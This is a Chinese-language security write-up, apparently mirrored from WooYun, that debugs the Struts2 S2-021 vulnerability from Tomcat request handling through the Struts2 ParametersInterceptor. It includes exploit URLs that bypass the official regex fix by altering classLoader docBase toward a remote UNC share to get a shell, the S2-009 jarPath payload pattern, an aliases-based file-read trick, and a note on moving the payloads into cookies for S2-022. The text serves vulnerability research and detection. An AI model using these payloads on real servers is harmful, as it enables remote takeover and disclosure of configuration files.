Debug Struts2 S2-021的一點心得體會

wyzsk發表於2020-08-19
作者: genxor · 2014/05/07 11:17

前段時間這個漏洞吵得比較火,最近研究了一下tomcat底層程式碼,結合struts2的框架原始碼跟蹤了一下這個漏洞的觸發過程。在整個debug過程中,感觸頗多,遂留下此文以作三思筆記,不敢奢望太多,只希望對感興趣的童鞋有所幫助,大牛飄過。如果文中哪裡有不準確之處,還望各位積極拍磚指正。

0x00 老漏洞新玩法


關於利用,不得不先說一下S2-020這個漏洞,其實之前網上已經有相關文件講述S2-020的利用方法,比如下邊這兩篇

/papers/?id=1377

http://sec.baidu.com/index.php?research/detail/id/18

首先要感謝作者提供利用方法。個人還是更偏向利用docBase屬性,因為這個屬性tomcat每個版本都有。PoC如下,

http://localhost:8080/S2_3_16_1/hello.action?class.classLoader.resources.dirContext.docBase=\\IP\evil

這是S2-020的利用,我們再回到S2-021,首先看一下官方是怎麼修復的,找到struts2-core-2.3.16.1.jar中的struts-default.xml,可以看到官方修復就是將使用者請求用正則過濾了一下,而且正則寫的也很簡陋,包括github上給出的那個修復方法,都沒有過濾掉真正的利用,如圖所示:

所以將S2-020的poc稍微變一下型繞過正則過濾,便是S2-021了,並且struts2預設正則大小寫是敏感的。利用就很簡單了,下面這幾種方法都可以

http://localhost:8080/S2_3_16_1/hello.action?class[‘classLoader’].resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?Class.ClassLoader.resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?top.Class.ClassLoader..resources.dirContext.docBase=\\IP\evil
….

這裡我就以Class['ClassLoader'].resources.dirContext.docBase =aa為例跟蹤請求從tomcat容器到struts2框架的程式碼處理流程,先說一下除錯環境,這裡我debug的是tomcat 6.0.24的原始碼+struts2.3.16.1的原始碼。

0x01 Tomcat處理HTTP請求


首先肯定是先由tomcat來處理請求,跟蹤tomcat原始碼,這裡tomcat呼叫JIoEndpoint.java的run()建立socket

然後呼叫processor.process(socket)負責解析http協議並返回結果內容,如圖

這裡要重點說一下,processor是HttpProcessor的一個例項,事實上tomcat對HTTP請求的解析都是透過HttpProcessor這個類中的process()這個方法實現的。跟入process()這個函式,可以看到實際上它就幹了四件事兒,如下

parseRequestLine()和parseHeaders()

parseRequestLine()解析請求的第一行也就是method、uri以及protocol(GET /S2_3_16_1/hello.action HTTP/1.1), 將相應的值設到request例項中。parseHeaders()解析HTTP頭將內容(host,ua,connect…)設定到headers例項中。

prepareRequest()

透過prepareRequest方法組裝request filter,用於處理http訊息體

adapter.service(request, response)

將request交給tomcat處理,返回response

inputBuffer.endRequest()

將response返回給客戶端

這裡跟蹤程式碼可以看到adapter.service(request, response)將請求交給容器處理,如圖

在這之後便是tomcat從connector到servlet處理HTTP請求的流程,http請求會依次進入engine、host、wrapper這裡具體程式碼流程就不貼了。一直到最終關聯servlet,實際上這裡關聯的就是struts2,如圖

其實請求一直執行到這裡,才算是跟struts2搭上關係了,跟蹤這個doFilter一直到internalDoFilter方法,如圖

這個filter便是struts2的FilterDispatcher的例項了,而執行這個doFilter方法才開始進入struts2的程式碼邏輯,在這之後程式的控制權由容器轉交給struts2。

好吧,到這裡其實一直都是在扯淡,跟struts2屁關係沒有,因為HTTP請求還在容器裡。以上僅供個人記錄,大牛勿噴!下面開始debug框架。

0x02 Struts2處理HTTP請求


其實Struts2的核心就是一個Filter,它的作用只是處理HTTP請求(request)然後返回給客戶端(response),其doFilter方法是struts2處理HTTP請求的入口。後面struts2將HTTP請求經過一系列處理之後,交給了引數攔截器(ParametersInterceptor),用來設定引數屬性。前面我們提到的使用者提交aa=bb這樣的請求時struts2會自動執行對應setaa方法去設定這個屬性值,其實都在引數攔截器的邏輯中,但是具體實現是靠OGNL完成的。引數攔截器有一個doIntercept方法,如圖

首先引數攔截器會獲取action例項

#!java
Object action = invocation.getAction();

然後生成OGNL上下文

#!java
ActionContext ac = invocation.getInvocationContext();

這裡的ac便是OGNL上下文了。關於ac的內容,這裡要重點說一下,

其實ac裡存的就是contextMap,在這裡我們可以看到一些比較熟悉的內容,比如#_memberAccess.allowStaticMethodAccess這個在之前的利用中多次出現,再就是#_root這個是根元素ValueStack,它儲存的是action的例項,如圖

繼續回到引數攔截器的邏輯,執行下面程式碼獲取HTTP引數

#!java
final Map<String, Object> parameters = retrieveParameters(ac);

跟入這個retrieveParameters,如圖

這裡其實呼叫ActionContext.getParameters()實現,獲得Map型的引數集parameters。遍歷 HttpServletRequest、HttpSession、ServletContext 中的資料,並將其複製到Webwork的Map中實現,至此之後,所有資料操作均在此Map結構中進行,從而將內部結構與Servlet API相分離。

然後引數攔截器從OGNL上下文中取出值棧,

#!java
ValueStack stack = ac.getValueStack();

繼續跟入setParameters(action, stack, parameters);如圖

這裡newStack是從OGNL上下文中取出的ValueStack,儲存的是action的例項

name是HTTP請求引數名,

value是HTTP請求引數值

這裡newStack.setParameter(name, value);便是將HTTP請求的引數設定到action例項當中。此過程中會呼叫set方法設定屬性。這裡我發現newStack.setParameter(name, value);的執行邏輯都是透過OGNL實現的,實際上就是遍歷上下文去找對應的set方法。比如,這裡是去tomcat中找到setDocBase方法執行。

0x03 漏洞是引數攔截器的特性


因為每個action必然繼承容器的classLoader,所以每個action中肯定有對應classLoader中的屬性。這裡請求引數是Class['ClassLoader'].resources.dirContext.docBase,跟蹤程式碼最終找到呼叫的是tomcat原始碼中BaseDirContext類中的setDocBase()方法,如圖

所以關於漏洞,分析到這兒可以看到這個其實就是struts2引數攔截器的特性,而且不單單是classLoader,只要是符合條件的物件,都可以操控。

這裡再說一下官方修復為什麼會被繞過,還是看引數攔截器的程式碼(ParametersInterceptor.java),他會呼叫isExcluded去檢測請求引數是否合規,如圖

這個this. excludeParams便是struts2-core.jarstruts-default.xml中配置的正則了,

而在其他位置沒有過濾,所以變換一下寫法就可以bypass掉。

關於操控classLoader其實早在S2-009就有這種利用了,而且那時候官方過濾更加不嚴,因為OGNL支援(aa)(bb)這樣的方式執行程式碼,所以當時在tomcat下的利用是class.classLoader.jarPath=(PAYLOAD)(aa)&x[(class.classLoader.jarPath)('aa')]這樣,其實這個是操控classLoader的jarPath屬性。當然不同的容器對應不同的屬性,比如JBOSS的classLoader中也有class.classLoader.jarPath這個屬性,所以跟tomcat相同的利用方法。在resin下還有個class.classLoader.id是String型別同時在WebappClassLoader裡也存在setid這個方法,所以也可以像jarPath那樣利用。

0x04 檢測方法


首先可以利用報錯來檢測,但是要保證不對應用造成傷害,肯定不能用docBase這樣的屬性了,這個屬性太危險了,即使getshell成功了也會改變網站根目錄造成ddos。

這裡經過我測試,發現可以用class.classLoader.parentclass.classLoader.resources這兩個屬性,首先對於tomcat這個兩個屬性覆蓋全版本,再就是他們有對應的set方法,最後也就是最重要的,覆蓋不成功,使框架丟擲錯誤。這裡我查了一下在tomcat原始碼中對這兩個屬性的定義,如圖

可以看到parent是classLoader,resources是DirContext,這樣用一個字串去覆蓋這兩個屬性然後讓struts2丟擲錯誤,判斷是否存在漏洞,所以檢測url可以這麼寫:

#!java
Class['ClassLoader'].parent= GENXOR
Class['ClassLoader'].resources=GENXOR

先說Class['ClassLoader'].parent,除錯過程如圖

這裡其實並沒有setparent,WebappClassLoader.java中也沒有setparent這個方法,這裡報錯應該是因為OGNL沒有許可權訪問WebappClassLoader的parent也就是URLClassLoader所以丟擲錯誤。

再說一下Class['ClassLoader'].resources這個屬性,還是看一下框架丟擲的錯誤資訊,如圖

異常資訊提示setResources方法執行失敗,因為resources是DirContext所以用String型別去set報錯。執行效果如圖所示:

因為屬性覆蓋沒成功,所以應用還是正常的。

另外還有一種方法但是隻適用於tomcat7,就是在tomcat7的classLoader中有個aliases屬性,它的作用有點兒類似於虛擬目錄,主要用來指定靜態資源的位置,比如設定aliases="/image=/home/www/css",這樣訪問http://test.com/image實際是訪問絕對路徑/home/www/css中的內容。利用這個思路也是可以檢測漏洞的,例如

#!java
Class['ClassLoader'].resources.dirContext.aliases=/image=/etc 
Class['ClassLoader'].resources.dirContext.aliases=/image=c:/windows 

可惜只能在tomcat7下這樣用,並且aliases不支援UNC Path,不然就可以悄無聲息的getshell,也不會驚動管理員了。但是依然可以遍歷目錄檔案,經測試可以讀取WEB-INF下的配置檔案,危害還是很大的。

0x05 後記S2-022


在寫這篇文章的時候,官方又爆出了S2-022,看了一下是CookieInterceptor的問題,還是沒有嚴格過濾,至於利用方法就是把前邊說的poc放到cookie中就可以了,大同小異。但是預設CookieInterceptor的邏輯是不會執行的,一般情況下開發人員也不會讓框架去處理cookie,要用的話需要手工配置,所以很雞肋。想要測試的童鞋,可以在struts.xml中新增類似程式碼,

#!xml
<action ... >
   <interceptor-ref name="cookie">
       <param name="cookiesName">*</param>
       <param name="cookiesValue">*</param>
   </interceptor-ref>
   ....
</action>

然後找到CookieInterceptor.java下斷debug就可以了。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章